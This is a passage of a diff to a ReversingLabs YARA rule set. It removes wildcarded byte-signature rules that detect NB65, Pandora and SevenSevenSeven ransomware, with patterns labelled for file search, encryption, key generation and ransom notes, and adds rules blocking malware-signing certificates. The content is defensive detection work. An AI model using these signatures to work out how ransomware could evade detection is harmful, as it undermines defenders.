?? B9 ?? ?? ?? ?? C7 44 24 ?? - ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 29 - F9 89 85 ?? ?? ?? ?? A1 ?? ?? ?? ?? 29 CE 81 C1 ?? ?? ?? ?? C1 E9 ?? 89 45 ?? F3 - } - $find_files_p3 = { - A5 89 1C 24 E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 - ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? - ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 89 C6 74 ?? 89 44 24 ?? C7 44 24 ?? ?? - ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 34 24 E8 ?? - ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ?? E8 - ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 04 - 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 - 44 24 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 85 C0 89 C6 0F 84 ?? ?? ?? ?? 89 44 24 - ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? - ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 - 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? E9 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "RADIANT, OOO" and pe.signatures [ i ] . serial == "6e:2d:34:49:27:2b:6b:96:b8:b9:f7:28:e8:75:80:d5" and 1421107200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_NB65 : TC_DETECTION MALICIOUS MALWARE FILE -{ - meta: - description = "Yara rule that detects NB65 ransomware." - author = "ReversingLabs" - id = "1aba009e-8065-5fb0-98e7-a595cb324076" - date = "2022-06-01" - modified = "2022-06-01" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.NB65.yara#L1-L68" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f8a0e265fc72a9f017b37ce4b6dbb878285a5d298ab1b8c69f9fde7159426981" - score = 75 - quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "NB65" - tc_detection_factor = 5 - importance = 25 - - strings: - $encrypt_files = { - E8 ?? ?? ?? ?? 89 45 ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? - C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? - C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? - C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? - C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? 8A 45 ?? 80 7D ?? ?? 75 ?? 33 C9 90 8A 44 0D ?? - 0F B6 C0 83 E8 ?? 6B C0 ?? 99 F7 FB 8D 42 ?? 99 F7 FB 88 54 0D ?? 41 83 F9 ?? 72 ?? - 8D 45 ?? 89 45 ?? A1 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 8D 50 - ?? 33 C9 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 81 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF D0 - 85 C0 75 ?? 33 F6 66 90 A1 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? - 8D 50 ?? 33 C9 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 81 ?? ?? ?? ?? FF B4 B5 ?? ?? ?? - ?? 57 FF D0 85 C0 75 ?? 46 83 FE ?? 7C ?? 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3 - } - $find_files = { - 57 57 57 50 57 53 FF 15 ?? ?? ?? ?? 8B F0 8B 85 ?? ?? ?? ?? 83 FE ?? 75 ?? 50 57 57 - 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 ?? 56 FF 15 ?? ?? ?? ?? 8B C7 8B 4D ?? - 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? - 80 BD ?? ?? ?? ?? ?? 75 ?? 8A 8D ?? ?? ?? ?? 84 C9 74 ?? 80 F9 ?? 75 ?? 80 BD ?? ?? - ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? - 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 8B 85 ?? ?? ?? ?? 75 ?? - 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B C8 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? E9 - } - $enum_procs = { - 33 C9 66 90 8A 84 0D ?? ?? ?? ?? 0F B6 C0 83 E8 ?? 8D 04 C0 99 F7 BD ?? ?? ?? ?? 8D - 42 ?? 99 F7 BD ?? ?? ?? ?? 88 94 0D ?? ?? ?? ?? 41 83 F9 ?? 72 ?? A1 ?? ?? ?? ?? 8B - 40 ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 33 D2 33 C9 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 41 - ?? 8D 8D ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? 51 FF D0 85 C0 75 ?? 6A ?? E8 ?? ?? ?? ?? - 83 C4 ?? 85 C0 74 ?? C7 00 ?? ?? ?? ?? 8D 50 ?? 8B 8D ?? ?? ?? ?? 89 08 C7 02 ?? ?? - ?? ?? 8B 4E ?? 89 48 ?? 8B 4E ?? 89 01 89 56 ?? 8D 85 ?? ?? ?? ?? 50 57 FF D3 85 C0 - 0F 85 ?? ?? ?? ?? 5B A1 ?? ?? ?? ?? 8B 40 ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 33 D2 33 C9 - E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 41 ?? 57 FF D0 8B 4D ?? 5F 33 CD 5E E8 ?? ?? ?? - ?? 8B E5 5D C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $enum_procs ) and ( $encrypt_files ) -} -rule REVERSINGLABS_Win64_Ransomware_Pandora : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Cert_Blocklist_268C0D7028A154Ac3B6349C5 : INFO FILE { meta: - description = "Yara rule that detects Pandora ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "18182bbe-1678-5d0b-a7ee-80c4bbaee99e" - date = "2022-06-01" - modified = "2022-06-01" + id = "0e18d9ef-e861-5583-a2a3-5f54fae8d813" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.Pandora.yara#L1-L95" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12948-L12964" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6576bde36ae9a9bc2e9dd878db788c608083b84d96d31e6898f48a264c6b7f1a" + logic_hash = "8311b36f008e31b7ac27b439fa46da4c90ab4be6c7c89426f8e1939963bc3d7d" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Pandora" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files_p1 = { - 41 57 41 56 41 55 41 54 56 57 55 53 48 83 EC ?? 48 89 4C 24 ?? C7 44 24 ?? ?? ?? ?? - ?? 45 31 F6 41 BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? - ?? 48 89 4C 24 ?? 45 31 C0 41 81 FA ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 0F - 4C CA 41 0F 94 C0 48 8B 8C 08 ?? ?? ?? ?? 48 01 F1 31 D2 31 DB 41 81 FA ?? ?? ?? ?? - 0F 9C C2 0F 95 C3 41 BD ?? ?? ?? ?? 49 29 D5 41 81 FA ?? ?? ?? ?? BF ?? ?? ?? ?? BA - ?? ?? ?? ?? 48 0F 4C FA 4C 8D 4C 9B ?? 41 BB ?? ?? ?? ?? BA ?? ?? ?? ?? 4C 0F 44 DA - 49 83 C8 ?? 31 DB 31 D2 41 81 FA ?? ?? ?? ?? 0F 9C C3 4C 8D 64 1B ?? 0F 94 C2 48 83 - F2 ?? 31 DB 41 81 FA ?? ?? ?? ?? 0F 94 C3 48 8D 1C DB 48 83 C3 ?? EB ?? 0F 1F 40 ?? - 4A 8B AC C0 ?? ?? ?? ?? 48 01 F5 FF E5 FF E1 4A 8B AC E0 ?? ?? ?? ?? 48 01 F5 FF E5 - 48 8B AC D8 ?? ?? ?? ?? 48 01 F5 FF E5 0F 1F 80 ?? ?? ?? ?? 48 8B AC F8 ?? ?? ?? ?? - 48 01 F5 FF E5 4A 8B AC E8 ?? ?? ?? ?? 48 01 F5 FF E5 4A 8B AC D8 ?? ?? ?? ?? 48 01 - } - $find_files_p2 = { - F5 FF E5 66 0F 1F 84 00 ?? ?? 00 00 48 8B AC D0 ?? ?? ?? ?? 48 01 F5 FF E5 4A 8B AC - C8 ?? ?? ?? ?? 48 01 F5 FF E5 44 89 74 24 ?? 48 63 4C 24 ?? 48 8B 54 24 ?? 48 8B 8C - CA ?? ?? ?? ?? 48 89 4C 24 ?? 48 8B 4C 24 ?? 8B 54 24 ?? BD ?? ?? ?? ?? 01 EA 44 8B - 54 24 ?? BD ?? ?? ?? ?? 41 01 EA 66 83 39 ?? 44 0F 45 D2 E9 ?? ?? ?? ?? 45 31 FF EB - ?? 66 2E 0F 1F 84 00 ?? ?? 00 00 90 41 BF ?? ?? ?? ?? 44 8B 54 24 ?? 41 81 C2 ?? ?? - ?? ?? E9 ?? ?? ?? ?? 66 0F 1F 84 00 ?? ?? 00 00 44 8B 74 24 ?? 41 83 C6 ?? 48 8B 54 - 24 ?? 48 8B 05 ?? ?? ?? ?? 48 8B 80 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 01 C8 48 8B 4C 24 - ?? FF D0 8B 4C 24 ?? BA ?? ?? ?? ?? 01 D1 44 8B 54 24 ?? BA ?? ?? ?? ?? 41 01 D2 85 - C0 44 0F 44 D1 E9 ?? ?? ?? ?? 44 89 F8 48 83 C4 ?? 5B 5D 5F 5E 41 5C 41 5D 41 5E 41 - 5F C3 - } - $generate_key = { - 41 57 41 56 41 55 41 54 56 57 55 53 48 81 EC ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 - 8D B4 24 ?? ?? ?? ?? 48 89 74 24 ?? 48 8B 44 24 ?? 48 8B 05 ?? ?? ?? ?? 48 C7 C5 ?? - ?? ?? ?? 48 8B 80 ?? ?? ?? ?? 48 01 E8 41 BC ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 4C 01 - E1 BA ?? ?? ?? ?? 48 03 15 ?? ?? ?? ?? FF D0 48 8B 05 ?? ?? ?? ?? 48 8B 4C 24 ?? 0F - B7 90 ?? ?? ?? ?? 66 89 51 ?? 48 8B 80 ?? ?? ?? ?? 48 89 01 48 8B 05 ?? ?? ?? ?? 48 - 8B 80 ?? ?? ?? ?? 48 01 E8 48 8B 0D ?? ?? ?? ?? 4C 01 E1 FF D0 48 8B 05 ?? ?? ?? ?? - 48 8B 80 ?? ?? ?? ?? 48 01 E8 48 8B 0D ?? ?? ?? ?? 4C 01 E1 FF D0 48 8B 05 ?? ?? ?? - ?? 48 8B 80 ?? ?? ?? ?? 48 01 E8 48 89 F1 FF D0 48 98 4C 8B 05 ?? ?? ?? ?? 4D 01 E0 - 48 8B 0D ?? ?? ?? ?? 48 8B 99 ?? ?? ?? ?? 48 01 EB 48 8B 0D ?? ?? ?? ?? 4C 01 E1 48 - 89 44 24 ?? 48 8D 15 ?? ?? ?? ?? 49 89 F1 FF D3 89 84 24 ?? ?? ?? ?? B9 ?? ?? ?? ?? - 45 31 ED 41 BE ?? ?? ?? ?? 41 BF ?? ?? ?? ?? BB ?? ?? ?? ?? EB ?? 81 F9 ?? ?? ?? ?? - BA ?? ?? ?? ?? BF ?? ?? ?? ?? 48 0F 44 D7 48 8B 04 10 4C 01 F0 FF E0 - } - $drop_ransom_note = { - 48 8B 05 ?? ?? ?? ?? 48 8B 80 ?? ?? ?? ?? BD ?? ?? ?? ?? 48 01 E8 48 8B 0D ?? ?? ?? - ?? BE ?? ?? ?? ?? 48 01 F1 48 8B 15 ?? ?? ?? ?? BF ?? ?? ?? ?? 48 01 FA FF D0 48 8B - 0D ?? ?? ?? ?? 48 01 F1 48 8B 05 ?? ?? ?? ?? 48 8B 90 ?? ?? ?? ?? 48 01 EA FF D2 48 - 8B 15 ?? ?? ?? ?? 48 01 F2 48 8B 8C 24 ?? ?? ?? ?? 48 8B 35 ?? ?? ?? ?? 48 8B B6 ?? - ?? ?? ?? 48 01 EE 48 C7 44 24 ?? ?? ?? ?? ?? 41 89 C0 4C 8D 4C 24 ?? FF D6 BE ?? ?? - ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 8B 90 ?? ?? ?? ?? 41 BE ?? ?? - ?? ?? 48 01 EA FF D2 BF ?? ?? ?? ?? 8B 4C 24 ?? B8 ?? ?? ?? ?? 01 C1 E9 ?? ?? ?? ?? - 81 F9 ?? ?? ?? ?? BA ?? ?? ?? ?? BD ?? ?? ?? ?? 48 0F 44 D5 48 8B 04 10 4C 01 E0 FF - E0 8B 44 24 ?? 83 C0 ?? 89 44 24 ?? 8B 4C 24 ?? B8 ?? ?? ?? ?? 01 C1 E9 ?? ?? ?? ?? - 81 F9 ?? ?? ?? ?? BA ?? ?? ?? ?? BD ?? ?? ?? ?? 48 0F 44 D5 48 8B 04 10 4C 01 E0 FF - E0 8B 4C 24 ?? B8 ?? ?? ?? ?? 01 C1 E9 ?? ?? ?? ?? 81 F9 ?? ?? ?? ?? BA ?? ?? ?? ?? - BD ?? ?? ?? ?? 48 0F 44 D5 48 8B 04 10 4C 01 E0 FF E0 8B 4C 24 ?? B8 ?? ?? ?? ?? 01 - C1 C7 44 24 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 81 F9 ?? ?? ?? ?? BA ?? ?? ?? ?? BD ?? ?? - ?? ?? 48 0F 44 D5 48 8B 04 10 4C 01 E0 FF E0 48 8B 05 ?? ?? ?? ?? 48 8B 88 ?? ?? ?? - ?? 48 8B 05 ?? ?? ?? ?? 48 8B 80 ?? ?? ?? ?? 4C 01 F0 C7 44 24 ?? ?? ?? ?? ?? 48 8D - 54 24 ?? 4C 8D 84 24 ?? ?? ?? ?? 4C 8D 4C 24 ?? FF D0 BF ?? ?? ?? ?? 8B 54 24 ?? B9 - ?? ?? ?? ?? 01 CA 8B 4C 24 ?? BD ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? - 48 8B 84 24 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 31 C0 48 81 - C4 ?? ?? ?? ?? 5B 5D 5F 5E 41 5C 41 5D 41 5E 41 5F C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( $generate_key ) and ( $drop_ransom_note ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "26:8c:0d:70:28:a1:54:ac:3b:63:49:c5" and 1474266712 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Sevensevenseven : TC_DETECTION MALICIOUS MALWARE FILE -{ - meta: - description = "Yara rule that detects SevenSevenSeven ransomware." - author = "ReversingLabs" - id = "049531bd-9505-5da1-9512-980383c8c5ec" - date = "2020-06-26" - modified = "2020-07-15" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.SevenSevenSeven.yara#L1-L148" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "583a8ac746cd749bd3927f10c864a3ac84f82f8bbd8d0ebf117e22b016d7ca94" - score = 75 - quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "SevenSevenSeven" - tc_detection_factor = 5 - importance = 25 - - strings: - $file_search_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? - ?? 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 45 ?? 53 56 57 89 65 ?? BE ?? ?? ?? ?? 89 75 - ?? 33 DB 89 5D ?? 88 5D ?? 89 75 ?? 89 5D ?? 88 5D ?? 89 75 ?? 88 5D ?? 68 ?? ?? ?? - ?? 8B 45 ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 53 50 8D 4D ?? E8 - ?? ?? ?? ?? BF ?? ?? ?? ?? 39 BD ?? ?? ?? ?? 72 ?? 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? - ?? 83 C4 ?? 39 7D ?? 8B 45 ?? 73 ?? 8D 45 ?? 8D 8D ?? ?? ?? ?? 51 50 FF 15 ?? ?? ?? - ?? 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? EB ?? BE ?? ?? ?? ?? 90 6A ?? 53 8D - 4D ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 8B 45 ?? 50 8D 8D ?? ?? ?? - ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? - 53 50 8D 4D ?? E8 ?? ?? ?? ?? 39 BD ?? ?? ?? ?? 72 ?? 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? - ?? ?? 83 C4 ?? 89 B5 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? 39 BD ?? ?? ?? - ?? 72 ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 89 B5 ?? ?? ?? ?? 89 9D ?? ?? - ?? ?? 88 9D ?? ?? ?? ?? 39 7D ?? 8B 75 ?? 73 ?? 8D 75 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? - ?? ?? ?? 85 C0 74 ?? B8 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 - } - $file_search_p2 = { - 74 ?? B8 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? F7 D8 1B C0 F7 D8 3B - C3 0F 85 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 74 - ?? 8B 45 ?? 3A C3 0F 84 ?? ?? ?? ?? 50 8D 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 3B - F3 0F 84 ?? ?? ?? ?? 39 7D ?? 72 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 39 7D ?? 72 - ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 89 5D ?? 88 5D ?? 39 7D - ?? 0F 82 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B C6 E9 ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F0 38 1E 74 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? - ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 56 FF - 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 89 5D ?? - 39 7D ?? 8B 45 ?? 73 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? EB - ?? B8 ?? ?? ?? ?? C3 - } - $encrypt_file_1 = { - 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 55 8B AC 24 ?? ?? ?? ?? 56 55 89 84 24 ?? ?? ?? ?? - 33 F6 FF 15 ?? ?? ?? ?? 33 C9 85 C0 76 ?? 8D 9B ?? ?? ?? ?? 80 3C 29 ?? 75 ?? 46 41 - 3B C8 72 ?? 83 FE ?? 75 ?? 5E 33 C0 5D 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 C4 ?? - ?? ?? ?? C3 57 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 55 FF 15 ?? ?? ?? ?? 8B - F8 83 FF ?? 75 ?? 5F 5E 33 C0 5D 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? - ?? C3 53 6A ?? 57 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 73 ?? 57 FF 15 ?? ?? ?? ?? 5B 5F - 5E 33 C0 5D 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 53 6A ?? FF 15 - ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 57 8B F0 FF 15 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 53 56 - 57 FF 15 ?? ?? ?? ?? 33 C0 85 DB 76 ?? 8D 49 ?? 80 34 30 ?? 40 3B C3 72 ?? 6A ?? 6A - ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 6A ?? 8D 4C 24 ?? 51 53 56 57 FF 15 ?? ?? ?? ?? 57 FF - 15 ?? ?? ?? ?? 8D 54 24 ?? 52 FF 15 ?? ?? ?? ?? 0F B7 44 24 ?? 0F B7 4C 24 ?? 0F B7 - 54 24 ?? 68 ?? ?? ?? ?? 50 0F B7 44 24 ?? 51 0F B7 4C 24 ?? 52 0F B7 54 24 ?? 50 51 - 52 55 8D 44 24 ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 4C 24 ?? 51 68 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 83 C4 ?? 8D 54 24 ?? 52 55 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B - 8C 24 ?? ?? ?? ?? 5B 5F 5E B8 ?? ?? ?? ?? 5D E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 - } - $encrypt_file_2 = { - 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 55 8B AC 24 ?? ?? ?? ?? 56 55 89 84 24 ?? ?? ?? ?? - 33 F6 FF 15 ?? ?? ?? ?? 33 C9 85 C0 76 ?? 8D 9B ?? ?? ?? ?? 80 3C 29 ?? 75 ?? 46 41 - 3B C8 72 ?? 83 FE ?? 74 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 55 FF 15 ?? - ?? ?? ?? 8B F0 83 FE ?? 75 ?? 5E 33 C0 5D 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 C4 - ?? ?? ?? ?? C3 53 6A ?? 56 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 73 ?? 56 FF 15 ?? ?? ?? - ?? 5B 5E 33 C0 5D 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 57 8D 83 - ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 56 8B F8 FF 15 ?? ?? ?? ?? - 6A ?? 8D 4C 24 ?? 51 53 57 56 FF 15 ?? ?? ?? ?? 8B CB C1 E9 ?? 41 74 ?? 8D 47 ?? B2 - ?? 80 70 ?? ?? 80 70 ?? ?? 80 30 ?? 80 70 ?? ?? 80 70 ?? ?? 80 70 ?? ?? 80 70 ?? ?? - 30 50 ?? 83 C0 ?? 49 75 ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 8D 54 24 ?? - 52 53 57 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? - 0F B7 4C 24 ?? 0F B7 54 24 ?? 0F B7 44 24 ?? 68 ?? ?? ?? ?? 51 0F B7 4C 24 ?? 52 0F - B7 54 24 ?? 50 0F B7 44 24 ?? 51 52 50 55 8D 4C 24 ?? 68 ?? ?? ?? ?? 51 FF 15 ?? ?? - ?? ?? 8D 54 24 ?? 52 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 55 FF 15 - ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 5F 5B 5E B8 ?? ?? ?? ?? 5D E8 - ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 - } - $remote_server_1 = { - 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 53 55 56 57 68 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? - ?? 8D 8C 24 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF - 15 ?? ?? ?? ?? 33 FF 57 6A ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 - ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 89 44 24 ?? 33 DB - BD ?? ?? ?? ?? 8B 44 24 ?? BA ?? ?? ?? ?? 8B CB D3 E2 85 D0 0F 84 ?? ?? ?? ?? 8A CB - 8D 54 24 ?? 80 C1 ?? 52 88 4C 24 ?? 66 C7 44 24 ?? ?? ?? FF D6 83 F8 ?? 74 ?? 8D 44 - 24 ?? 50 FF D6 83 F8 ?? 75 ?? 8D 44 24 ?? 89 6C 24 ?? 89 7C 24 ?? C6 44 24 ?? ?? 8D - 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 50 8D 4C 24 ?? 51 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 54 - 24 ?? 6A ?? 52 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 83 F8 ?? 72 ?? 8B 44 24 ?? 50 E8 - ?? ?? ?? ?? 83 C4 ?? 89 6C 24 ?? 89 7C 24 ?? C6 44 24 ?? ?? 43 83 FB ?? 0F 8C ?? ?? - ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? - ?? ?? 8B 8C 24 ?? 